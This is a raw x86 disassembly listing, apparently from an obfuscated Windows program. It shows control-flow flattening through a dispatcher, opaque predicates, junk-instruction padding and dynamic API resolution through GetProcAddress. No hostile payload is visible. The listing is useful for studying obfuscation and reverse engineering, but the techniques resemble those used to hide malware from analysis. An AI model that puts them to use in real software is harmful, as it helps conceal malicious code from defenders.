mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xb0]
mov eax, 0x1fe47545
jmp 0x401710
mov eax, dword [ebp - 0xac]
mov edi, 0x90fa0115
mov eax, dword [eax]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x168], eax
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x5c31fb07
mov edx, ecx
and edx, 0x54114b06
and eax, ecx
not ecx
mov esi, ecx
and esi, 0x820b001
or edx, esi
mov esi, 0x1f9dcd0d
xor edx, 0x54114b06
or eax, edx
mov edx, eax
not edx
and eax, 0x5c31fb06
and edx, 0xa3ce04f9
or eax, edx
mov edx, eax
not edx
and eax, 0x73b91cea
and edx, 0x8c46e315
or eax, edx
xor eax, 0x73b91cea
or eax, ecx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x4e4170], 0xa
setge dl
xor cl, dl
xor al, dl
mov ch, cl
mov ah, cl
and ch, dl
not ah
or al, ch
mov edx, eax
not dl
and dl, cl
or cl, al
and al, ah
or al, dl
mov edx, ecx
xor dl, al
mov edx, 0x90fa0115
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, edi
test cl, cl
cmovne eax, edx
jmp 0x401710
mov ecx, dword [ebp - 0x11c]
mov eax, 0xa75da387
mov dword [ebp - 0xdc], ecx
jmp 0x401710
mov eax, dword [ebp - 0x68]
mov eax, 0xba4fdf14
jmp 0x401710
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
mov eax, 0xbcfdd226
jmp 0x401710
mov eax, 0x2a153ed1
jmp 0x401710
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x99804915
mov edi, eax
or edi, 0x120549a6
mov esi, eax
and esi, 0x120549a6
and eax, 0x667fb6ea
mov edx, edi
not edx
and edi, 0xedfab658
or eax, ecx
or edx, esi
and edx, 0x120549a7
or edx, edi
mov esi, edx
not esi
and edx, 0x667fb6ea
mov edi, esi
and edi, 0x99804915
or edx, edi
mov edi, 0x2092d4c8
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x94c8bfa6
setne dl
cmp dword [0x4e4170], 0xa
setl ah
setge al
mov cl, ah
xor cl, dl
xor cl, 1
or cl, al
xor al, dl
or dl, ah
and al, ah
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
or dl, al
and ch, cl
mov eax, 0x94c8bfa6
mov cl, dl
xor cl, ch
test dl, 1
cmovne eax, edi
test ch, ch
cmove eax, esi
test cl, 1
cmovne eax, edi
jmp 0x401710
mov eax, 0x7b373d20
jmp 0x401710
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x1b8], eax
mov eax, 0x5513511d
jmp 0x401710
cmp byte [ebp - 0x98], 0
mov eax, 0x61679a8f
mov ecx, 0x51dff185
cmovne eax, ecx
jmp 0x401710
mov eax, dword [ebp - 0x44]
mov eax, 0xe51f8817
jmp 0x401710
mov eax, 0x6d2b76fa
jmp 0x401710
mov eax, 0x7c2ae52d
jmp 0x401710
mov eax, 0x1dc16015
jmp 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0x557352b7
and eax, 0xaa8cad48
or edx, eax
xor edx, 0x557352b7
or ecx, edx
mov esi, ecx
not esi
mov edx, ecx
and edx, 1
and ecx, 0x74c78d3c
mov eax, esi
and esi, 0xfffffffe
or eax, 1
or edx, esi
mov esi, eax
and esi, 0x8b3872c2
or ecx, esi
mov esi, edx
not esi
and edx, 0x74c78d3d
or eax, esi
and esi, 0x8b3872c2
or edx, esi
not eax
mov esi, 0xeaaa25a1
xor edx, ecx
or eax, edx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xca29b015
andn eax, eax, eax
and edx, 0x35d64fea
or ecx, edx
xor ecx, 0xca29b015
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb052392d
and ecx, 0x4fadc6d2
or eax, ecx
mov ecx, eax
xor ecx, 0x1012290d
xor eax, 0x45880240
and eax, 0xe5c81260
and ecx, 0x1a37ed9f
or ecx, eax
xor ecx, 0x1a37ed9f
sete ah
setne cl
cmp dword [0x4e4170], 0xa
setge ch
mov al, ch
xor al, cl
or cl, ch
or ch, ah
and al, ah
mov edx, ecx
xor al, 1
xor dl, 1
mov ah, al
or al, ch
xor ah, ch
xor al, 1
or al, ah
mov ah, al
mov ch, al
or al, dl
xor ah, 1
xor al, 1
and ch, cl
and dl, ah
xor ah, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x64f31f6a
cmovne eax, esi
test dl, dl
mov edx, 0x64f31f6a
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401710
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x108], eax
mov eax, 0xc80f3566
jmp 0x401710
mov eax, dword [0x4e4174]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
mov ecx, esi
and ecx, 0x2ecea94e
or esi, 0x80088008
mov edx, eax
and edx, 0xd13156b1
and esi, 0xa98ec16d
and eax, 0x16000a00
or edx, ecx
or eax, esi
mov ecx, edx
xor edx, 0x2ecea94e
xor ecx, 0xd13156b1
mov edi, edx
or edi, 0x29864165
mov ebx, ecx
and ebx, 0x40713492
and edx, 0x99629a50
and edi, 0xa98ec16d
or ebx, edi
xor eax, ebx
mov esi, eax
not esi
and eax, 0x7dff38e9
and esi, 0x8200c716
or eax, esi
mov esi, ecx
and esi, 0x669d65af
and ecx, 1
or esi, edx
xor eax, 0xbd868c72
xor esi, 0x99629a51
or ecx, esi
mov esi, 0x635201c7
not ecx
or ecx, eax
mov edx, ecx
not edx
and ecx, 0x5055e664
and edx, 0xafaa199b
or edx, ecx
mov eax, edx
xor eax, 0x50116640
xor edx, 0x2200193
and edx, 0x26481b7
and eax, 0xfd9b7e48
or eax, edx
mov ecx, eax
xor ecx, 0xc98b6808
xor eax, 0x20000a0
and eax, 0x361016e0
and ecx, 0xc9efe91f
or ecx, eax
mov eax, ecx
xor eax, 0x4c0
xor ecx, 0x810d280c
and ecx, 0xb71d3a2c
and eax, 0x48e2c5d3
or eax, ecx
xor eax, 0x48e2c5d3
setne cl
sete dl
cmp dword [0x4e4170], 0xa
setl al
setge ah
and cl, al
and ah, dl
or al, dl
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
mov ch, al
xor al, ah
xor dl, 1
and ch, cl
and ah, dl
or dl, cl
xor dl, 1
or ah, ch
mov ecx, 0x23fb31bd
or dl, al
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test dl, 1
mov edx, 0x23fb31bd
cmovne edx, ecx
test ah, ah
jmp 0x40c6f0
ror eax, 0xd4
mov ebx, 0x30
inc ebx
bswap edi
inc edi
imul ebx
inc ebx
sub esi, 0xa6
or esi, 0x2c
neg esi
inc edi
add edx, 2
bswap edx
rcr ebx, 0xaa
sbb eax, 0xae
dec edx
ror esi, 0x5b
bswap edx
neg eax
rcr esi, 0xfa
rcl ebx, 0x3e
neg edx
imul edi
and eax, 0xe6
ror edx, 0xb2
not edx
imul edx
neg esi
rcl eax, 0x7d
dec edx
or esi, 0x36
not edx
rcr ebx, 0xa5
ror eax, 0x96
inc edi
not ebx
not ebx
rcr ebx, 0xc8
mov edx, 0x27
neg eax
not eax
or edi, 0x68
imul eax
add eax, 0x8d
ror edi, 0xb7
neg esi
dec edi
not eax
sbb eax, 0x27
inc esi
neg esi
mov edi, 0x43
mov edi, 0xd6
inc edx
not esi
rcl edi, 0xfb
inc esi
rol edx, 0xb2
ror esi, 0xb7
and ebx, 0xbe
neg eax
sbb edi, 0xb6
dec edx
dec esi
ror eax, 0xb7
sub eax, 0x21
neg eax
rcl esi, 0x2e
not edx
not eax
sub edx, 0x15
bswap edi
bswap esi
neg esi
imul edx
not ebx
neg edx
imul ebx
neg edx
add edi, 0x7a
dec edx
inc eax
neg edx
neg edi
and esi, 0x58
not edx
mov edx, 0xfc
dec esi
imul edi
rol ebx, 0xcf
neg edi
sub esi, 0x65
dec eax
dec edi
rol esi, 0x40
imul edx
mov edx, 0x43
inc eax
dec esi
or edx, 0xae
add edi, 1
or eax, 0x60
and edi, 0xa6
bswap edi
inc ebx
bswap esi
inc ebx
and edi, 0xcb
add esi, 0x85
inc esi
rcl edi, 0x71
inc ebx
bswap edi
rol edi, 0x7a
neg eax
inc esi
inc edx
inc edx
rcr edx, 0xbe
add edi, 0x3c
bswap eax
imul ebx
bswap edi
not eax
rol esi, 0x4f
add eax, 0xf6
inc edx
and edx, 0x9b
imul eax
neg eax
rol eax, 0xf4
imul eax
dec ebx
or eax, 0xd8
sbb edx, 0x45
neg ebx
mov ebx, 0xfd
not ebx
dec ebx
rcl ebx, 0x87
and edx, 0xa6
mov edx, 0x7f
bswap edx
ror ebx, 0x9f
rol ebx, 0xa9
not edx
not esi
and edi, 0xd0
bswap edx
inc edx
mov ecx, dword [ebp - 0x24]
mov esi, 0x841a83d7
mov dword [ecx], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
not ecx
mov edx, ecx
and edx, 0xfffffffe
or eax, edx
mov edx, eax
not edx
and eax, 0xaf99cfd
and edx, 0xf5066302
or eax, edx
xor eax, 0xaf99cfd
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x4e4170], 0xa
mov ch, dl
setl al
setge cl
xor ch, al
or al, dl
xor ah, cl
or cl, dl
xor al, 1
and ch, dl
xor cl, 1
or al, ah
or cl, ch
mov edx, ecx
mov ah, al
and cl, al
xor dl, 1
not ah
or al, dl
and dl, ah
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x30922e11
cmovne ecx, esi
test dl, 1
mov esi, 0x30922e11
mov edx, ecx
cmovne edx, esi
test al, al
jmp 0x4091d2
mov eax, 0xc9528cf
jmp 0x401710
mov eax, 0xfb401d45
jmp 0x401710
cmp byte [ebp - 0x9a], 0
mov eax, 0x592a9aa
mov ecx, 0x34aad52b
cmovne eax, ecx
jmp 0x401710
mov eax, dword [ebp - 0x54]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov dword [ebp - 0x1b0], eax
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xf3247034
mov edx, eax
and edx, 0xcdb8fca
and eax, 0x45734c89
or esi, edx
mov edx, ecx
and edx, 1
and ecx, 0xba8cb376
xor esi, 0xf3247034
or eax, ecx
or edx, esi
mov esi, edx
not esi
and edx, 0x45734c89
mov edi, esi
and edi, 0xba8cb376
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x27cfdde1
xor eax, 0xffffffff
sete cl
setne ah
cmp dword [0x4e4170], 0xa
setge dl
setl ch
mov al, dl
or dl, ah
and ah, ch
xor ch, cl
and al, cl
xor dl, 1
or al, ah
or dl, ch
mov ecx, eax
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
mov edx, eax
or cl, ah
xor cl, 1
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x7eca043d
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0x7eca043d
jmp 0x4016fe
cmp dword [ebp - 0x1bc], 0
mov eax, 0x25638bf9
mov ecx, 0xf20d1f46
cmove eax, ecx
jmp 0x401710
mov eax, dword [ebp - 0xbc]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
ror edx, 0x2a
neg eax
and edi, 0xb9
neg eax
inc edi
dec ebx
imul ebx
not ebx
rcr ebx, 0x9f
imul ebx
mov esi, 0x5f
add ebx, 0xf1
or esi, 0x68
not esi
imul esi
rcl edi, 0x38
not esi
ror ebx, 0x1d
dec ebx
neg ebx
dec edx
rcl esi, 0x16
bswap esi
imul esi
dec edi
rcr edi, 0x48
rcl edx, 0xe5
sbb edi, 0xdc
sub esi, 0xd8
sbb eax, 0x7a
imul eax
neg edi
ror edi, 0x1b
not eax
imul edi
ror ebx, 0xbc
not edi
mov esi, 0xa5
sbb edx, 0x6b
and eax, 0xc1
neg edx
rol edi, 0x59
neg edx
rol edx, 0xd0
rcl edx, 0x4c
dec edx
rol edi, 0x62
imul edx
or edi, 0x56
inc ebx
rcr esi, 0x22
imul edx
rcl eax, 0xc8
imul edx
ror eax, 0x15
not eax
or edi, 0xe3
and edx, 0x10
imul edx
sbb esi, 0x4e
bswap edi
inc eax
neg esi
imul edi
sub edx, 0x2a
rol ebx, 0xf5
dec edx
rcl eax, 0xcb
bswap esi
inc ebx
sub edi, 0x10
and edx, 0x36
inc edx
inc edx
imul esi
mov eax, 0x27
sbb esi, 0xf8
mov edi, 0x7f
or edi, 0x4b
rcr esi, 0x78
dec edi
not edx
mov edi, 0x60
dec edi
not edx
rcr esi, 0x6d
not edx
inc edx
rcl esi, 0x93
mov esi, 0x40
inc esi
sbb ebx, 0xd2
rcr edx, 0xdd
bswap eax
neg edi
inc esi
sub edi, 0x37
sub ebx, 0x6a
not edx
not edi
inc ebx
sbb esi, 0x9b
add ebx, 0x63
add edx, 0x87
inc edx
dec esi
dec eax
inc esi
or esi, 0x14
bswap eax
sbb edi, 0x92
add edx, 0x1e
mov esi, 0x10
bswap edx
or edi, 0xe8
imul ebx
mov edi, 0xdb
inc edi
sub esi, 0x97
rcr edx, 0x27
rcr ebx, 0x95
neg eax
inc ebx
rol esi, 0xf9
inc edi
rcr edx, 0x7a
add esi, 0xd
rol eax, 0xf0
bswap esi
inc edi
not edx
rcr edx, 0x9d
ror edx, 0x75
dec edi
sbb esi, 0xc
sbb edx, 0xd1
dec edx
rol edi, 0x9a
not edx
bswap ebx
rol eax, 0xf3
bswap edi
not eax
rcr edi, 0x67
add esi, 0xe0
mov eax, 0xb
inc eax
bswap esi
imul edi
imul edx
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov eax, dword [ebp - 0x2c]
mov dword [eax], 1
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x60]
mov eax, 0x9af0f825
jmp 0x401710
mov eax, 0xb8e8a66a
jmp 0x401710
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov eax, ecx
not eax
mov edi, ecx
and edi, 0x85280120
mov esi, ecx
and esi, 0x48c09c0d
mov edx, eax
and edx, 0x321762d2
and eax, 0xef70a6f4
or edi, edx
xor edi, 0x85280120
or esi, edi
mov edx, esi
not edx
and esi, 0xc25184a8
and edx, 0x3dae7b57
or esi, edx
mov edx, esi
xor esi, 0xca1000a4
xor edx, 0x356ee75a
mov edi, edx
or edx, ecx
and ecx, 0x108f590b
and edi, 0x108f590b
and esi, 0xef70a6f4
or eax, ecx
or esi, edi
not edx
mov ecx, dword [0x4e4174]
xor eax, esi
or edx, eax
mov eax, edx
not eax
and edx, 0x960c0eca
and eax, 0x69f3f135
or edx, eax
lea eax, [ecx + 1]
cmp edx, 0x960c0eca
setne byte [ebp - 0x9a]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x8008f064
mov esi, edx
and esi, 0x4940903
or edx, 0x4882060
or ecx, esi
and edx, 0x7a926f0
mov esi, ecx
xor esi, 0x8000d004
xor ecx, 0x7a10690
and ecx, 0x7a926f0
and esi, 0x8014d907
or esi, ecx
mov ecx, eax
and ecx, 0x78420008
or ecx, edx
xor ecx, esi
mov esi, 0xf00b24e1
mov edx, ecx
not edx
and ecx, 0x849cf966
and edx, 0x7b630699
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
not ecx
or ecx, edx
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x4e4170], 0xa
mov ecx, edx
setl ch
setge al
or dl, ch
and cl, al
and ch, ah
or ch, cl
xor dl, 1
mov cl, ch
xor cl, al
or al, ah
and cl, ch
xor al, 1
mov ch, cl
or al, dl
xor ch, 1
mov ah, al
mov dl, ch
xor ah, 1
and dl, cl
xor ch, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ch
mov ch, dl
and dl, al
xor ch, 1
and ch, ah
mov ah, cl
xor ah, al
or al, cl
or dl, ch
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xe1f1c3aa
cmovne eax, esi
test dl, 1
not cl
mov edx, 0xe1f1c3aa
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x401710
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0xfc], eax
mov eax, 0xd106076b
jmp 0x401710
mov eax, 0xc58655ce
jmp 0x401710
mov eax, dword [ebp - 0x2c]
mov dword [eax], 5
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xf8f40402
mov esi, ecx
or esi, 0x2012835
mov edx, ecx
not edx
and eax, ecx
and esi, 0x52512835
and edx, 0xa8a40402
mov edi, eax
not edi
and eax, 0xadaed7ca
or edx, esi
or ecx, edi
and edi, 0x52512835
or eax, edi
not ecx
xor eax, edx
or ecx, eax
not eax
and eax, 0x70bfbfd
and ecx, 0xf8f40402
or ecx, eax
mov edx, ecx
mov eax, ecx
not edx
or eax, 0xb556a495
mov edi, edx
mov esi, eax
and esi, 0xae0547c2
and edi, 0x40a81828
or edx, 1
or edi, esi
mov esi, ecx
xor esi, 0x4aa95b6a
and edx, 0x57314805
and esi, ecx
and ecx, 0xa8ceb7fa
mov ebx, esi
not ebx
and esi, 0x51fab83d
or edx, ecx
or eax, ebx
and ebx, 0xae0547c2
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0xd74f252b
and esi, 0x28b0dad4
or eax, esi
mov esi, eax
xor esi, 0x80a62600
xor eax, 0x621981bf
mov ecx, eax
and ecx, 0x3f4059d8
and esi, 0xc0bfa627
or esi, ecx
mov ecx, edx
xor ecx, 0x40310004
xor edx, 0xa8ceb7fa
or eax, edx
and edx, 0x3f4059d8
and ecx, 0xc0bfa626
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x52138d49
and edx, 0xadec72b6
or edx, esi
mov esi, ecx
not esi
and ecx, 0xadec72b6
or eax, esi
and esi, 0x52138d49
or ecx, esi
not eax
mov esi, 0x235dea93
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x83a59b1c
mov edx, ecx
and edx, 0x7c5a64e3
or eax, edx
xor eax, 0x7c5a64e3
xor ecx, eax
test ecx, eax
setne al
sete cl
cmp dword [0x4e4170], 0xa
mov edx, eax
setl ah
setge ch
and dl, ch
and ah, cl
xor al, ch
or ah, dl
mov dl, ah
xor dl, ch
mov ch, al
and dl, ah
mov ah, al
or al, dl
mov cl, dl
xor ah, 1
xor dl, 1
and ch, dl
xor dl, ah
xor al, 1
and cl, ah
or al, dl
or cl, ch
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xb43c1218
cmovne edx, esi
test al, 1
mov eax, 0xb43c1218
jmp 0x40afb8
mov eax, dword [ebp - 0x28]
mov eax, 0xf0b2f59f
jmp 0x401710
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
add eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0xa4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
mov edx, dword [eax + ecx*4]
mov ecx, edx
not ecx
movzx eax, dx
mov esi, ecx
and esi, 0xffff0000
and ecx, 0x50c3e539
or eax, esi
mov esi, eax
not esi
and eax, 0xe798d433
and esi, 0x18672bcc
or eax, esi
mov esi, eax
xor esi, 0x4080c431
xor eax, 0x18672bcc
mov edi, eax
or eax, edx
and edx, 0xaf3c1ac6
and edi, 0xaf3c1ac6
and esi, 0x50c3e539
or esi, edi
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
mov ecx, dword [ebp - 0x80]
not eax
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, 0xe0d5b3c7
jmp 0x401710
mov eax, 0x7988a7c2
jmp 0x401710
mov eax, 0x84da66ff
jmp 0x401710
cmp dword [ebp - 0x100], 0
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
setne byte [ebp - 0x95]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x40c18958
mov esi, eax
and esi, 0x311840a4
mov edi, eax
or edi, 0x61d9495c
and eax, 0xd46fc450
or edx, esi
and edi, 0x65f94b5e
mov esi, edx
xor esi, 0x8000
xor edx, 0x25384206
and edx, 0x65f94b5e
and esi, 0x100080a0
or esi, edx
mov edx, ecx
and edx, 0x8a063401
or edx, edi
xor edx, esi
mov esi, edx
not esi
and edx, 0x71d9c9fd
and esi, 0x8e263602
or edx, esi
mov esi, edx
not esi
mov edi, edx
or edx, ecx
and ecx, 0x2b903baf
and edi, 0x2b903baf
and esi, 0xd46fc450
or eax, ecx
not edx
or esi, edi
xor eax, esi
mov esi, 0x947733e5
or edx, eax
mov eax, edx
not eax
and edx, 0x3413020e
and eax, 0xcbecfdf1
or edx, eax
cmp edx, 0x3413020e
sete dl
cmp dword [0x4e4170], 0xa
setl cl
setge al
mov ah, cl
or cl, dl
or al, dl
xor ah, dl
xor cl, 1
xor al, 1
or cl, ah
and ah, dl
xor cl, 1
or al, ah
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x81594fae
cmovne eax, esi
test dl, dl
mov edx, 0x81594fae
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xe0010410
and eax, 0xffada49
and ecx, 0x100421a6
or edx, ecx
xor edx, 0xe0010410
or eax, edx
mov ecx, eax
not ecx
and eax, 0x50be73ff
and ecx, 0xaf418c00
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0xa0314240
xor esi, 0x5f44a9b6
xor eax, 0x80200040
mov ecx, esi
or ecx, 1
and esi, 0x5eca14bd
and edx, 0xa135eb42
and eax, 0x8c6488d0
or edx, esi
mov esi, ecx
and esi, 0x739b772e
or eax, esi
mov esi, edx
xor esi, 0x80248841
xor edx, 0x5eca14bc
or ecx, edx
and edx, 0x739b772e
and esi, 0x8c6488d1
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov edx, ecx
xor edx, 0xc8c14cc6
mov eax, ecx
and eax, 0x404048c2
and edx, ecx
not ecx
and ecx, 0x88810404
or eax, ecx
mov ecx, eax
xor ecx, 0x404048c0
xor eax, 0xbfbfb73d
mov esi, eax
and esi, 0x928a8436
and ecx, 0x484148c0
or ecx, esi
mov esi, edx
not esi
and edx, 0x6d757bc9
or eax, esi
and esi, 0x928a8436
or edx, esi
not eax
mov esi, 0x6497bdea
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xc8c14cc6
and ecx, 0x373eb339
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x310c3927
mov edx, ecx
and edx, 0xcef3c6d8
or eax, edx
xor eax, 0x310c3927
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x4e4170], 0xa
mov ch, dl
setl cl
setge al
or dl, cl
and ch, al
and cl, ah
or cl, ch
xor cl, 1
or cl, al
or al, ah
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x394035c4
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x394035c4
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x401710
mov eax, 0x5090710a
jmp 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x1361306
and eax, 0x6481
mov edx, ecx
and edx, 0xa4800828
or ecx, 0x24121306
or esi, edx
and ecx, 0x7e5b9356
mov edx, esi
xor edx, 0x1240000
xor esi, 0x7e498050
or eax, ecx
and esi, 0x7e5b9356
and edx, 0x81a40828
or edx, esi
mov esi, 0x97129095
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xc62dc831
and ecx, 0x39d237ce
or eax, ecx
mov ecx, eax
xor eax, 0x146000c0
xor ecx, 0x639bd31f
mov edx, ecx
and eax, 0x776091c2
and ecx, 0x889f6e3d
and edx, 0xfffffffe
or ecx, eax
xor ecx, 0x889f6e3c
or ecx, edx
mov eax, ecx
xor eax, 0xee5f98f4
and eax, ecx
not ecx
and ecx, 0xee5f98f4
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xfab0242d
and ecx, 0x54fdbd2
or eax, ecx
mov ecx, eax
xor ecx, 0x14ce2c81
xor eax, 0x89100300
and eax, 0x89319358
and ecx, 0x76ce6ca7
or ecx, eax
mov eax, ecx
xor eax, 0x54404482
xor ecx, 0x88018110
and ecx, 0xaa8fa935
and eax, 0x557056ca
or eax, ecx
mov ecx, eax
xor ecx, 0x280da824
xor eax, 0x15501002
and eax, 0x97d21113
and ecx, 0x682deeec
or ecx, eax
xor ecx, 0x682deeec
sete ah
setne al
cmp dword [0x4e4170], 0xa
mov dl, ah
setl ch
setge cl
xor dl, ch
or ch, ah
xor cl, al
xor dl, 1
mov ah, ch
mov al, cl
xor ah, dl
or dl, ch
xor al, 1
xor dl, 1
or dl, ah
mov ah, dl
mov ch, dl
xor ah, 1
and ah, dl
xor ah, 1
xor ch, ah
or ah, dl
xor ah, 1
or ah, ch
mov dl, ah
and ah, al
xor dl, 1
or al, dl
and dl, cl
or dl, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xf5a15b5e
cmovne ecx, esi
test dl, dl
mov esi, 0xf5a15b5e
jmp 0x4091cb
mov eax, dword [0x4e4174]
mov edi, 0x3028e882
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xcd0f105e
and edx, 0x32f0efa1
or eax, edx
mov edx, eax
xor edx, 0x100104e
xor eax, 0x32f0efa1
mov esi, eax
and esi, 0xfe9f4d90
and edx, 0x160b26f
or edx, esi
mov esi, ecx
not esi
and ecx, 0x160b26f
or eax, esi
and esi, 0xfe9f4d90
or ecx, esi
not eax
mov esi, 0xdc3f3cd9
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
cmp eax, 0xffffffff
setne dl
cmp dword [0x4e4170], 0xa
mov ecx, edx
setl ah
setge al
inc cl
and dl, cl
xor dl, 1
mov ch, dl
or dl, cl
xor ch, cl
xor dl, 1
or cl, ah
or dl, ch
xor cl, 1
mov ch, dl
or ch, al
xor al, dl
xor dl, ah
and al, ch
xor dl, 1
or cl, dl
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ch, al
xor ch, dl
test al, 1
mov eax, 0x3028e882
cmovne eax, esi
test dl, 1
cmovne eax, edi
test ch, 1
cmove eax, esi
jmp 0x401710
mov eax, dword [ebp - 0x28]
mov edx, dword [eax]
mov eax, edx
not eax
mov esi, edx
and esi, 0xa72a4aef
and edx, 0x68b80c04
mov ecx, eax
and ecx, 0x58d5b510
or eax, 0x1046f020
or esi, ecx
and eax, 0x1347f03b
mov ecx, esi
xor esi, 0x1044b000
xor ecx, 0x840002c0
or edx, eax
or esi, 0x301001b
and ecx, 0x840003c0
and esi, 0x1347f03b
or ecx, esi
xor edx, ecx
mov eax, edx
not eax
and edx, 0x9446f3e0
and eax, 0x6bb90c1f
or edx, eax
mov edi, edx
not edi
mov esi, edx
and esi, 0x9f020f22
and edx, 0xe041040a
mov eax, edi
